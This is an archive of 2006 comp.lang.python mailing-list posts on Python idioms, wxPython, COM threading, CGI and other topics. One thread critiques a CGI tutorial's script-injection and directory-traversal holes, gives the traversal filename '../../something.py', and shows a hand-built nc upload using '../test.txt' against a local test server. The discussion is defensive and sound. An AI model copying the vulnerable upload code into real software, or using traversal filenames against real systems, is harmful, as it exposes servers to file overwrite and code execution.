>>> b = a # makes b point to object 10 >>> a = 11 # makes a point to object 11 >>> print b # prints 10 """ Hem... This has nothing to do with ints being immutables: a = [1] # makes 'a' point to a list b = a # makes 'b' points to the same object a = [1] # makes 'a' points to *another* list print "a is b ? %s" % (a is b) """ In Python subroutines, procedures and functions are basically the same thing """ NB : The type is 'function'. They *always* return something (implicitely, the None object). "None is a special value meaning ``nothing''" s/value/object/ "You can test whether something is None by using is None" There's always only one single None object, so you can test whether something is None by using 'is None'. """ a = ['foo', 'fred', 42] for i in a: print i """ Traditionaly, identifier 'i' is used as the current index in C-like loops. Using it in this context might be a bit confusing : a = ['foo', 'fred', 42] for obj in a: print obj """ As an aside, there is a shortcut version of loops called a list comprehension which is very convenient: """ List comps are a "shortcut" for building lists. They are not a "shortcut version of loops". """ filename = 'stupid.dat' try: f = open(filename) except IOError: # the file did not open print "The filename", filename, "does not exist!" """ Actually, the file may exist, but the program may not be able to open it for other reasons... filename = 'stupid.dat' try: f = open(filename) except IOError, e: # the file did not open print "could not open file %s : %s" % (filename, e) My 2 cents... From msherman77 at yahoo.com Tue Oct 24 22:25:16 2006 From: msherman77 at yahoo.com (Michael S) Date: Tue, 24 Oct 2006 22:25:16 -0400 (EDT) Subject: No subject Message-ID: <20061025022516.94464.qmail@web88305.mail.re4.yahoo.com> Good day all. I extended part of my program in C, since that part was too involved for Python. Now when I import the module I created and call its functions, I am trying to feedback some information bac to my wxPython program. The function runs for a while and I wanted to update a progress bar, but when I call the function of my new module, wxPython doesn't respond when wx.Timer is supposed to fire. Any suggestions? Michael From surendra.lingareddy at gmail.com Mon Oct 23 11:49:58 2006 From: surendra.lingareddy at gmail.com (Suren) Date: 23 Oct 2006 08:49:58 -0700 Subject: HTML Templates (Sitemesh/Tiles concept) in Python Message-ID: <1161618598.598300.127970@m73g2000cwd.googlegroups.com> Hello, I am a newbie to python and web development. I am part of a fairly simple project and we are trying to identify an efficient way to design our html pages. The technologies at our disposal are javascript, html and python for now. Our pages bear a very standard look. Here is what it looks like. -------------------------------------------------- BANNER -------------------------------------------------- | -l1 | <- -> Logout | -l2 |--------------------------------------- | -l3 | | -l4 | CONTENT | -l5 |--------------------------------------- | | COPYRIGHT ------------------------------------------------- l1 through l5 are links that basically target the content page and fill in. Each page via that link has a python reference to go gather appropriate data for the content page. We are using frames to do the banner.html, menu.html (the links page) and the content page. For the content page, how can we decorate it on top with the back/front buttons and logout buttons and botton with a copyright in every page. It seems error prone as well as bad design to scatter this logic in each content page. Is there a template logic like Sitemesh or Tiles concept that can decorate a desired page just before show time? Any other tips to help life easier are appreciated. From gagsl-py at yahoo.com.ar Tue Oct 17 15:17:40 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Tue, 17 Oct 2006 16:17:40 -0300 Subject: where to I find: In-Reply-To: <1161103857.244052.79060@i3g2000cwc.googlegroups.com> References: <1161103857.244052.79060@i3g2000cwc.googlegroups.com> Message-ID: <7.0.1.0.0.20061017161535.03cbfbd0@yahoo.com.ar> At Tuesday 17/10/2006 13:50, vedran_dekovic at yahoo.com wrote: >Can somebody tell me where to I find module name: "tele" It's not a standard module. Look on the documentation for the application/packages you are using. -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From johnjsal at NOSPAMgmail.com Mon Oct 30 15:18:53 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Mon, 30 Oct 2006 20:18:53 GMT Subject: wxPython TextCtrl - weird scrolling behavior In-Reply-To: <1162238656.661097.75180@f16g2000cwb.googlegroups.com> References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com> <1162238656.661097.75180@f16g2000cwb.googlegroups.com> Message-ID: abcd wrote: > sizerMainPanel.Add(self.textPanel, 3, wx.ALL|wx.EXPAND, 0) Your best bet may be to post to wxPython-users at lists.wxwidgets.org But one question that comes to mind is, do you not add sizerTextPanel to sizerMainPanel? I think all sub-sizers should be added to the main sizer, unless there's some weird reason I don't know of. If you post to the wxPython mailing list, you might want to include more of your code so we can see the bigger picture. From clodoaldo.pinto at gmail.com Fri Oct 6 16:56:42 2006 From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto) Date: 6 Oct 2006 13:56:42 -0700 Subject: CGI Tutorial References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> <1160071257.200774.90900@e3g2000cwe.googlegroups.com> Message-ID: <1160168202.423933.306380@i42g2000cwa.googlegroups.com> and-google at doxdesk.com wrote: > Clodoaldo Pinto Neto wrote: > > > print '

The submited name was "' + name + '"

' > > Bzzt! Script injection security hole. See cgi.escape and use it (or a > similar function) for *all* text -> HTML output. > > > open('files/' + fileitem.filename, 'w') > > BZZZZZZT. filesystem overwriting security hole, possibly escalatable to > code execution. clue: fileitem.filename= '../../something.py' Do you think os.path.basename() is good enough? ======================== #!/usr/bin/env python import cgi, os.path form = cgi.FieldStorage() fileitem = form['file'] fn = fileitem.filename fnb = os.path.basename(fn) print """\ Content-Type: text/plain\n filename = "%s" basename = "%s" """ % (fn, fnb) ======================== [cpn at dkt ~]$ nc teste.s0 80 POST /cgi-bin/dir_traversal.py HTTP/1.1 Host: teste.s0 Content-Type: multipart/form-data; boundary=---------------------------170451527316340742161395972977 Content-Length: 226 -----------------------------170451527316340742161395972977 Content-Disposition: form-data; name="file"; filename="../test.txt" Content-Type: text/plain file text -----------------------------170451527316340742161395972977-- HTTP/1.1 200 OK Date: Fri, 06 Oct 2006 20:48:58 GMT Server: Apache/2.2.2 (Fedora) Content-Length: 48 Content-Type: text/plain; charset=UTF-8 filename = "../test.txt" basename = "test.txt" Regards, Clodoaldo From michael at stroeder.com Mon Oct 9 05:23:22 2006 From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=) Date: Mon, 09 Oct 2006 11:23:22 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1160172267.566568.79030@m7g2000cwm.googlegroups.com> <452966A2.1090107@v.loewis.de> Message-ID: skip at pobox.com wrote: > Fredrik> you need tools to help you track the bugs and their status, but > Fredrik> you can handle issue registration, discussion, and most > Fredrik> maintenance stuff using good old mail just fine. > > Which is something SourceForge has yet to learn. At work we use a system > called RT (http://www.bestpractical.com/rt/). While it's not perfect, it > does allow submissions and responses via email. That feature alone puts it > miles ahead of SF in my mind. I'd also prefer to at least be able to respond to tracker items via e-mail. I'm traveling a lot by train working off-line most times. An e-mail spool is unbeatable in this situation. So it's ok for me to add an issue to a tracker while being online. But the follow-ups should be possible via e-mail. SF pretty much sucks in this regard (and has other issues too). The main reason why I'm following this discussion is that I'd also prefer to move away from SF for python-ldap. One reason is availability and the other one is the really bad user interface. I could imagine to spend some spare time when this infrastructure can also be used for python-ldap. And pydns would be another candidate to be moved away from SF. Ciao, Michael. From zhangry at feng.co.jp Fri Oct 20 05:06:47 2006 From: zhangry at feng.co.jp (HYRY) Date: 20 Oct 2006 02:06:47 -0700 Subject: Why the result Message-ID: <1161335207.108215.104160@b28g2000cwb.googlegroups.com> Why the third print stement output "'comments': [(1, 2, 3)]", I think it should be []. I am using Python 2.4.2 (#67, Sep 28 2005, 12:41:11) [MSC v.1310 32 bit (Intel)] on win32. # program class PicInfo: def __init__(self, intro="", tags="", comments=[]): self.picintro = intro self.pictags = tags self.comments = comments def addcomment(self, comment): self.comments.insert(0, comment) dbdata = PicInfo() print dbdata.__dict__ dbdata.addcomment((1,2,3)) print dbdata.__dict__ dbdata = PicInfo() print dbdata.__dict__ # output {'pictags': '', 'comments': [], 'picintro': ''} {'pictags': '', 'comments': [(1, 2, 3)], 'picintro': ''} {'pictags': '', 'comments': [(1, 2, 3)], 'picintro': ''} <- why comments is not []? From tejovathi.p at gmail.com Mon Oct 16 04:40:19 2006 From: tejovathi.p at gmail.com (Teja) Date: 16 Oct 2006 01:40:19 -0700 Subject: Attribute error In-Reply-To: References: <1160803974.234768.286150@k70g2000cwa.googlegroups.com> Message-ID: <1160988019.500269.237900@i42g2000cwa.googlegroups.com> Max Erickson wrote: > "Teja" wrote: > > > Hi all, > > > > What is attribute error? what causes that error, especially with COM > > objects? > > > > To be precise : > > > > Attribute Error: LCAS.LabcarController.writeLogWindow() > > > > Here, LCAS.... is a COM object > > > > Thanks > > Teja.P > > > > LabcarController might be a function. See: > > http://groups.google.com/group/comp.lang.python/msg/d7341f1aedcae6d3 > > for more detail. > > hope this helps, > max HI all, I have a problem in accesing COM objects in threads. To be precise, lets assume that I have a class GenericFunctions which is defined as follows: import win32com.client, pythoncom, thread ie=win32com.client.Dispatch('internetexplorer.application') ie.Visible=1 class GenericFunctions: def __init__(self): print "In Constructor of Generic Functions" def MyNavigate(self,dest): ie.Navigate(dest) Now there is another file Main.py which is defined as follows: import win32com.client, pythoncom, thread from GenericFunctions import * obj = GenericFunctions() class Mainclass: def __init__(self); print "In Constructor of Main class" def threadFunction(self,dest): pythoncom.CoInitialize() d=pythoncom.CoGetInterfaceAndReleaseStream(s, pythoncom.IID_IDispatch) my_ie=win32com.client.Dispatch(d) obj.func(dest) # this is gving an error. pythoncom.CoUninitialize() if __name__ == "__main__": s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie) thread.start_new_thread(self.nav, (s,'www.google.com') Basically, I want to access object of GenericFunctions class inside threadFunction(). However I was able to execute my_ie.Navigate("google.com"). But that was not I wanted. I am not knowing where the error is.... Please let me know the solution ASAP... Teja.P From bignose+hates-spam at benfinney.id.au Sun Oct 1 22:24:38 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Mon, 02 Oct 2006 12:24:38 +1000 Subject: changing a file's permissions References: Message-ID: <871wprjvyx.fsf@benfinney.id.au> James writes: > I'm writing a script in linux to excercise my python skills and have > encountered a minor issue. Writing the script and creating an ouput > file was simple enough and didn't take too long. However, I don't > have permissions to execute the file by default. This is an attribute of the file (an object in the filesystem) which is checked by the kernel before allowing the file to be executed. Python has nothing to do with this; if the attributes allow execution, you can execute it as a program; if not, you can't. > Now, I could simply chmod 755 the sucker and have done with it That (or some equivalent filesystem operation to change the attributes of the file) is the only solution to the problem you present. This is by design. > but I want to apply the permissions within the python script if I can. Since the permissions are used by the operating system kernel to determine if you have permission execute the file at all, the program isn't even executing when the decision is made. Change the permission attributes of the program file (using 'chmod' or something else that operates on the filesystem object's attributes), then you'll be able to run it as a program. Incidentally, if the program is intended to be run from a command line, it's best to name the file with no '.py' extension. The fact that a command is implemented in Python is irrelevant to the person running that command; it also means you can implement it in some other language later on without changing everything that uses that command. -- \ "Facts are meaningless. You could use facts to prove anything | `\ that's even remotely true!" -- Homer, _The Simpsons_ | _o__) | Ben Finney From mccredie at gmail.com Thu Oct 5 13:25:37 2006 From: mccredie at gmail.com (Matimus) Date: 5 Oct 2006 10:25:37 -0700 Subject: How do I read Excel file in Python? In-Reply-To: <1160067650.709670.71460@e3g2000cwe.googlegroups.com> References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com> <1160061718.605057.243590@h48g2000cwc.googlegroups.com> <1160067650.709670.71460@e3g2000cwe.googlegroups.com> Message-ID: <1160069137.525290.90000@m73g2000cwd.googlegroups.com> > the date( 8/9/2006 ) in Excel file, i am getting the value as 38938.0, > which I get when I convert date values to general format in Excel. I > want the actual date value. How do get that? 38938 appears to be the date in days since 1/1/1900. I'm sure someone can help you figure out how to convert that to a more useful value. -Matt From yairchu at gmail.com Wed Oct 25 18:22:13 2006 From: yairchu at gmail.com (yairchu at gmail.com) Date: 25 Oct 2006 15:22:13 -0700 Subject: 255 argument limit? References: Message-ID: <1161814933.538771.251000@b28g2000cwb.googlegroups.com> > > It appears that there is a 255 argument limit in Python 2.4.3? > maybe the argument limit is for the sake of not making functions too complicated. if your function takes more than 200 arguments it can probably go to thedailywtf.com, better be strict like i am and even avoid making a 100 arguments function. :) From theller at python.net Thu Oct 5 14:07:13 2006 From: theller at python.net (Thomas Heller) Date: Thu, 05 Oct 2006 20:07:13 +0200 Subject: Getting a ValueError with comtypes In-Reply-To: <1160066479.412632.171310@c28g2000cwb.googlegroups.com> References: <1160058359.839402.3600@k70g2000cwa.googlegroups.com> <1160066479.412632.171310@c28g2000cwb.googlegroups.com> Message-ID: winkatl1213 at yahoo.com schrieb: > Thomas, > > Thanks a ton for the quick response. > > I called GetModule('quartz.dll'), and now I can at least call > IMediaControl::Run. I get another error, but that's my problem (I > don't have the graph set correctly yet). > > You mentioned that you sometimes create a type library for creating the > interface wrappers. > > Would you mind sharing with me how you do this? Nothing fancy: I compile them with midl. > I seem to recall a thread on ctypes-users where you were looking for a > method to do this. I can't seem to locate what you conclusion was. > > By the way, I've been using ctypes and comtypes quite a bit lately, and > I just wanted to say that they are both excellent. Thanks! > Now if only I had an equivalent way to access C++ dlls, I'd no longer > have to write typemaps in SWIG. > > While I'm at it, I thought I would ask you a separate completely > unrelated question. > > I have a C++ library wrapped with SWIG. One member function takes a > void* to a buffer. > > I want to allocate this buffer using ctypes and pass it to my SWIG > wrapper, but I've been struggling to get it to work. > > I tried passing in the addressof, and then casting it back in my SWIG > wrapper, but this doesn't work. Do you have any suggestions on this? Which object does the SWIG wrapper expect? Would a bufferobject suffice? If this is the case, you could call buffer() on a ctypes object, maybe one created with 'ctypes.create_string_buffer(size_in_bytes)'. Every ctypes type instance supports the buffer protocol. > I've also thought about using a numpy array, since this is supported in > both SWIG and ctypes. That might also work. Thomas From richard.charts at gmail.com Fri Oct 20 15:15:50 2006 From: richard.charts at gmail.com (richard.charts at gmail.com) Date: 20 Oct 2006 12:15:50 -0700 Subject: Using Python scripts in Windows Explorer In-Reply-To: <1161357605.861266.144980@m73g2000cwd.googlegroups.com> References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com> Message-ID: <1161371750.146986.67620@m73g2000cwd.googlegroups.com> Ben Sizer wrote: > I'd like to be able to drag a file onto a Python script in Windows > Explorer, or send that file to the script via the Send To context-menu > option, so I can then process that file via sys.argc. > > Unfortunately, I can't drag items onto the Python script, because > Windows doesn't recognise that the script is executable (unless I > double-click it, upon which it runs as usual, without the command line > parameter of course) and won't set it as a drop target. And it won't > even appear in the Send To menu after the usual steps are taken to get > it there. > > I then tried to wrap it in a batch file, but encounter a problem, where > that batch file is able to execute the Python file if I double-click > the batch file, but if I drag a file onto it it says it can no longer > find the Python script. > > Are there any simple and workable solutions for this sort of thing? > > -- > Ben Sizer I didn't even know you could do that at all, but my suggestiong would be compile the python script into an executable and try that. If you get it working, update here as I am interested in your solution. From frank at chagford.com Sat Oct 28 06:15:38 2006 From: frank at chagford.com (Frank Millman) Date: 28 Oct 2006 03:15:38 -0700 Subject: correct parameter usage for "select * where id in ..." In-Reply-To: <1162026084.206897.216630@k70g2000cwa.googlegroups.com> References: <1162026084.206897.216630@k70g2000cwa.googlegroups.com> Message-ID: <1162030538.183789.249570@e3g2000cwe.googlegroups.com> saniac wrote: > I am working on a little project using pysqlite. It's going to be > exposed on the web, so I want to make sure I quote all incoming data > correctly. However, I've run into a brick wall trying to use parameters > to populate a query of the form "select * where col1 in ( ? )" > > The naive approach doesn't work: > > values=['foo', 'bar', 'baz'] > sql = """select * where value in (?)""" > cu = cx.cursor() > cu.execute(sql, (values)) > > The code blows up because the cursor is expecting 1 arg and gets 3. I assume you mean 'select * from table where...' Try this - values=['foo', 'bar', 'baz'] sql = """select * from table where value in (?,?,?)""" cu = cx.cursor() cu.execute(sql, values) It works with odbc from pywin32. I have not tried pysqlite. If you want it to handle a variable number of values, you will have to programmatically construct the sql statement with the appropriate number of parameters. HTH Frank Millman From sybrenUSE at YOURthirdtower.com.imagination Tue Oct 10 04:51:47 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Tue, 10 Oct 2006 10:51:47 +0200 Subject: Converting MSWord Docs to PDF References: Message-ID: melv at awc.edu enlightened us with: > is it possible to convert MSword docs into PDF format? Yes, it is. check out http://www.stuvel.eu/ooo-python#header3. It's about converting Excel to PDF, but it equally applies to MSWord. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From richardjones at optushome.com.au Tue Oct 3 23:47:34 2006 From: richardjones at optushome.com.au (Richard Jones) Date: Wed, 4 Oct 2006 13:47:34 +1000 Subject: Roundup Issue Tracker release 1.1.3 Message-ID: <200610041347.34453.richardjones@optushome.com.au> I'm proud to release version 1.1.3 of Roundup. Feature: - supports Python 2.5, including the sqlite3 module - full timezone support (sf patch 1465296) - handle connection loss when responding to web requests - match incoming mail In-Reply-To against existing messages when no issue id is specified in the Subject - added StringHTMLProperty wrapped() method to wrap long lines in issue display - include the popcal in Date field editing and search fields by default - @required in forms may now specify properties of linked items (sf patch 1507093) - update for latest version of pysqlite (sf bug 1487098; patch 1534227) - update for latest version of psycopg2 (sf patch 1429391) - new "exporttables" command in roundup-admin (sf bug 1533791) - roundup-admin "export" may specify classes to exclude (sf bug 1533791) - sorting and grouping by multiple properties is now supported by the backends *and* the classic template. - sorting, grouping, and searching by transitive properties (e.g., messages.author.supervisor) is now supported in all backends - added filter_sql to SQL backends which takes an arbitrary SQL statement and returns a list of item ids There was also a lot of bugfixes - see the bundled CHANGES.txt file for the list. If you're upgrading from an older version of Roundup you *must* follow the "Software Upgrade" guidelines given in the maintenance documentation. Roundup requires python 2.3 or later for correct operation. To give Roundup a try, just download (see below), unpack and run:: roundup-demo Release info and download page: http://cheeseshop.python.org/pypi/roundup Source and documentation is available at the website: http://roundup.sourceforge.net/ Mailing lists - the place to ask questions: http://sourceforge.net/mail/?group_id=31577 About Roundup ============= Roundup is a simple-to-use and -install issue-tracking system with command-line, web and e-mail interfaces. It is based on the winning design from Ka-Ping Yee in the Software Carpentry "Track" design competition. Note: Ping is not responsible for this project. The contact for this project is richard at users.sourceforge.net. Roundup manages a number of issues (with flexible properties such as "description", "priority", and so on) and provides the ability to: (a) submit new issues, (b) find and edit existing issues, and (c) discuss issues with other participants. The system will facilitate communication among the participants by managing discussions and notifying interested parties when issues are edited. One of the major design goals for Roundup that it be simple to get going. Roundup is therefore usable "out of the box" with any python 2.3+ installation. It doesn't even need to be "installed" to be operational, though a disutils-based install script is provided. It comes with two issue tracker templates (a classic bug/feature tracker and a minimal skeleton) and five database back-ends (anydbm, sqlite, metakit, mysql and postgresql). From pandyacus.xspam at xspam.sbcglobal.net Mon Oct 23 20:11:35 2006 From: pandyacus.xspam at xspam.sbcglobal.net (Chetan) Date: Tue, 24 Oct 2006 00:11:35 GMT Subject: Python thread stack size Message-ID: The default thread allocated in for pthread is 32K if the system default is lower (it is 16K on my system). If the system default is higher, it is used. -Chetan From quentel.pierre at wanadoo.fr Thu Oct 12 15:32:01 2006 From: quentel.pierre at wanadoo.fr (Pierre Quentel) Date: 12 Oct 2006 12:32:01 -0700 Subject: paseline(my favorite simple script): does something similar exist? References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com> <1160681166.890803.169610@c28g2000cwb.googlegroups.com> Message-ID: <1160681521.103052.49980@i42g2000cwa.googlegroups.com> > >>> parseline( 'A 1 22 3 6', 'sdxf') > ['A', 1, None, 3.0] Yes, but in this case the OP expects to get ['A',1,3.0] A shorter version : def parseline(line,format): xlat = {'x':None,'s':str,'f':float,'d':int,'i':int} result = [ xlat[f](w) for f,w in zip(format,line.split()) if xlat.get(f,None) ] if len(result) == 0: return None if len(result) == 1: return result[0] return result Pierre From larry.bates at websafe.com Tue Oct 17 12:44:24 2006 From: larry.bates at websafe.com (Larry Bates) Date: Tue, 17 Oct 2006 11:44:24 -0500 Subject: A question about list In-Reply-To: <1161102973.920895.141500@i42g2000cwa.googlegroups.com> References: <1161102973.920895.141500@i42g2000cwa.googlegroups.com> Message-ID: <45350868.6020806@websafe.com> pretoriano_2001 at hotmail.com wrote: > Hello: > Variable 'a' has the next values: > [[1,1],[2,2]] > and I want to take a to b as: > [[1,1,'='],[2,2,'=']] > How can I do this with only one line of instruction? > Thanks!! > To copy a list use: b=a[:] -Larry From johann at rocholl.net Fri Oct 27 10:37:14 2006 From: johann at rocholl.net (Johann C. Rocholl) Date: Fri, 27 Oct 2006 16:37:14 +0200 Subject: ANN: wxPython 2.7.1.3 In-Reply-To: <45410281.4020302@alldunn.com> References: <45410281.4020302@alldunn.com> Message-ID: <8233478f0610270737tda65dabj5dffba46a12e0fea@mail.gmail.com> Hi Robin, You may want to use a spell checker for announcements and for the wxpython.org website. For example, the first paragraph of your announcement contains the words "plust" and "pacakges", and the word "pacakge" can also be found on the following pages: www.wxpython.org/download.php www.wxpython.org/wxPython.spec www.wxpython.org/CHANGES.html Oh, it's fun to be a speling fanatic! :-) Cheers, Johann From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Sat Oct 14 07:24:26 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Sat, 14 Oct 2006 13:24:26 +0200 Subject: Twisted Deferreds (was: Re: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python) References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <7xhcy72xm1.fsf@ruckus.brouhaha.com> Message-ID: <4pbvnaFi422kU1@individual.net> Paul Rubin wrote: > But that's just ugly. The fetchPage function should take the > callback as an argument. In an asynchronous system it would even > be buggy. It won't, in my understanding/experience, since the local context must first terminate before the reactor takes control again and handles other events. Twisted isn't concurrent like using threads here, and adding callbacks immediately after getting a Deferred instance returned is common practice. > What happens if the page fetch completes before you add the > callback? If the Deferred is fired, all already added {call,err}backs will be executed. If you add new ones at this point, they'll be executed immediately. IIRC. http://twistedmatrix.com/projects/core/documentation/howto/async.html http://twistedmatrix.com/projects/core/documentation/howto/defer.html Regards, Bj?rn -- BOFH excuse #12: dry joints on cable plug From DustanGroups at gmail.com Sun Oct 15 09:17:43 2006 From: DustanGroups at gmail.com (Dustan) Date: 15 Oct 2006 06:17:43 -0700 Subject: Reverse string-formatting (maybe?) In-Reply-To: <1160918100.141668.128850@h48g2000cwc.googlegroups.com> References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com> <1160916174.892851.39730@e3g2000cwe.googlegroups.com> <1160918100.141668.128850@h48g2000cwc.googlegroups.com> Message-ID: <1160918263.478229.137760@h48g2000cwc.googlegroups.com> Dustan wrote: > Tim Chase wrote: > > > My template outside of the '%s' characters contains only commas and > > > spaces, and within, neither commas nor spaces. Given that information, > > > is there any reason it might not work properly? > > > > Given this new (key) information along with the assumption that > > you're doing straight string replacement (not dictionary > > replacement of the form "%(key)s" or other non-string types such > > as "%05.2f"), then yes, a reversal is possible. To make it more > > explicit, one would do something like > > > > >>> template = '%s, %s, %s' > > >>> values = ('Tom', 'Dick', 'Harry') > > >>> formatted = template % values > > >>> import re > > >>> unformat_string = template.replace('%s', '([^, ]+)') > > >>> unformatter = re.compile(unformat_string) > > >>> extracted_values = unformatter.search(formatted).groups() > > > > using '[^, ]+' to mean "one or more characters that aren't a > > comma or a space". > > > > -tkc > > Thanks. > > One more thing (I forgot to mention this other situation earlier) > The %s characters are ints, and outside can be anything except int > characters. I do have one situation of '%s%s%s', but I can change it to > '%s', and change the output into the needed output, so that's not > important. Think something along the lines of "abckdaldj iweo%s > qwierxcnv !%sjd". That was written in haste. All the information is true. The question: I've already created a function to do this, using your original deformat function. Is there any way in which it might go wrong? From paul at boddie.org.uk Mon Oct 23 14:42:09 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 23 Oct 2006 11:42:09 -0700 Subject: Python 2.5 ; Effbot console ; thank ; pb release. References: <453ce1a9$0$25910$ba4acef3@news.orange.fr> Message-ID: <1161628929.144303.173130@f16g2000cwb.googlegroups.com> Steve Holden wrote: > Fredrik Lundh wrote: > > M?ta-MCI wrote: > > > >>For the professional developments, it is a major risk. I'll cut in here and mention that it's a risk that can be managed through various well understood methods of deployment. For me, Python 2.4 is going to be good enough until (and even beyond) the time I can be bothered to either upgrade my distribution's packages or to upgrade my distribution and get the packages for Python 2.5. At which point, I'll just need to select the pinnacles of my package tower; then I can hopefully just press the button and have everything working on Python 2.5. Generally, package developers shouldn't be "aggressively" using the absolute latest and greatest version's features, and if you're pursuing "professional developments" you might want to keep using the mature releases of Python whilst letting other developers know that adoption of their stuff will be limited if they make it part of a rapidly moving target. Sure, I can imagine that people are desperate to use the "with" statement all over the place, but maintainers of widely used (or "professional") stuff have to exercise some conservatism - otherwise someone has to start forking and backporting their changes. > > some days, I ask myself why I shouldn't just use GPL for everything I > > do, and ship it as source code only. > > > To which I presume the answer is that you are considerate of Windows > users who'd rather not compile their own Windows applications due to the > cost of using the commercial compilers and the complexity of using the > open source ones. Well, there's a commercial service you could offer, Steve. ;-) > Whatever the reasons, a vote of thanks to all extension authors who *do* > bother to compile for Windows (despite complaints from others who don't > feel this happens quickly enough). This happens every time a new release of Python comes out: people want to play with the new features, but they experience a period of frustration because their favourite packages aren't available. I'd advise people to download the installer, get their fill of the new features for a few minutes, then schedule another look in a few weeks. Or they can start paying people to make it all happen "yesterday", of course. Paul From mitko at qlogic.com Fri Oct 13 19:11:31 2006 From: mitko at qlogic.com (Mitko Haralanov) Date: Fri, 13 Oct 2006 16:11:31 -0700 Subject: Signals and threads again In-Reply-To: <20061013113746.269e3d8c@opal.pathscale.com> References: <20061013113746.269e3d8c@opal.pathscale.com> Message-ID: <20061013161131.108cce68@opal.pathscale.com> On Fri, 13 Oct 2006 11:37:46 -0700 Mitko Haralanov wrote: > The problem that I am experiencing is that when SIGINT is sent to the > program, it gets delivered to the child processes (the fork'ed ones) > but the main thread's signal handler is never invoked. > > I know that Python masks signals in threads but they should be fine in > the main thread and that is where they should get delivered. OK. I did an experiment where instead of creating a spinning thread, I just call that function. Now, the signal gets delivered to the main program thread but it sill get delivered to the child processes, as well. Why are those signals going there?? It's driving me crazy! -- Mitko Haralanov mitko at qlogic.com Senior Software Engineer 650.934.8064 System Interconnect Group http://www.qlogic.com From Eric_Dexter at msn.com Sun Oct 8 19:19:46 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 8 Oct 2006 16:19:46 -0700 Subject: recommendations for personal journaling application In-Reply-To: <1160330083.041100.127480@e3g2000cwe.googlegroups.com> References: <1160330083.041100.127480@e3g2000cwe.googlegroups.com> Message-ID: <1160349586.258904.179690@k70g2000cwa.googlegroups.com> before you use re there is a quote I have seen on different boards to remember. So you have a problem and you want to use re now you have two problems.!!!! It was someone from thescripts.com that helped me realise how to fix my program without re. (sorry if I have thier website name somewhat wrong. https://sourceforge.net/project/showfiles.php?group_id=156455&package_id=202823 Donnie Rhodes wrote: > Hi. I've been sort of standing back on the sidelines reading this list > for awhile, and this is my first posting. So a little about myself and > my skill level. My name is Bryan. I'm new to Python and have very > little experience. I've gone through a few of the tutorials. I > understand the different data-types, basic syntax, functions and > function definition, basic iteration, and calling from modules. > > I might be getting ahead of myself, but I think the best way for me to > learn things is by having a goal and working towards it. My goal is to > create a personal command line journaling application. I would like to > store all the entries in one file, have them searchable by keywords, > date, topic, etc... I think I would like to use "/*" type commands. For > instance, you call the application from a terminal window and start > with a generic prompt. You would type '/ne /t "topic"' to begin a new > entry and assign the topic; '/d' to set a date. You should be able to > use the slash commands while editing as well. For instance while > writing in an entry you could isolate a phrase or word with /k "phrase > to be marked as searchable keyword" / to mark the enclosed text as a > searchable keyword/keyphrase. > > So what I'm interested in is how this would work. Is this 'event > driven' in nature? Would I define the bulk of these slash commands in a > function and then call it at the end of the script? What would be a > good module to look at for the text processing and searching aspects? > Anyways, I'm not sure how you would create a program that would > "listen" for commands and then parse them accordingly. I think for > starters I will sketch out on paper the slash commands I need, and try > to break apart the general operations into pseudo code. How would you > all approach this? > > Thank you all and I hope I'm not biting off too much at once... From grante at visi.com Sun Oct 15 11:13:20 2006 From: grante at visi.com (Grant Edwards) Date: Sun, 15 Oct 2006 15:13:20 -0000 Subject: Where I can find References: <1160919699.354038.213920@k70g2000cwa.googlegroups.com> <1hn9dpq.77vjtv17nxbnxN%rhymes@myself.com> Message-ID: <12j4k0g279tlud6@corp.supernews.com> On 2006-10-15, Lawrence Oluyede wrote: > wrote: >> Where I can find this files(modules): >> >> fcntl,FCNTL,tty,termios, TERMIOS > > import fcntl > import tty > import termios > > for start :-) But you just might want to take a look at pyserial instead... -- Grant Edwards grante Yow! Is this my STOP?? at visi.com From hanumizzle at gmail.com Fri Oct 13 14:50:33 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Fri, 13 Oct 2006 14:50:33 -0400 Subject: Best IDE? In-Reply-To: <12ivbb480ht02db@corp.supernews.com> References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> <12ivbb480ht02db@corp.supernews.com> Message-ID: <463ff4860610131150r11a31837x9f2babeecf1bd680@mail.gmail.com> On 10/13/06, Grant Edwards wrote: > On 2006-10-13, Ahmer wrote: > > > What do you guys use? > > jed along with bash et. al. Jed I must admit is nice. Especially since they added UTF-8 support. > > etc. > > 42 LOL -- Theerasak From chrisBrat at gmail.com Mon Oct 30 03:27:32 2006 From: chrisBrat at gmail.com (Chris Brat) Date: 30 Oct 2006 00:27:32 -0800 Subject: wxPython - which is the better sizer to use with notebook Message-ID: <1162196851.786053.162930@k70g2000cwa.googlegroups.com> Hi, What sizers do people use to - contain the notebook control in a Frame and, - contain the contents of a single page of the notebook. At the moment Im using a GridBagSizer for both but this seems to be overkill. Is a BoxSizer a better option? Thanks Chris From peter.maas at somewhere.com Sat Oct 7 15:52:42 2006 From: peter.maas at somewhere.com (Peter Maas) Date: Sat, 07 Oct 2006 21:52:42 +0200 Subject: n-body problem at shootout.alioth.debian.org In-Reply-To: 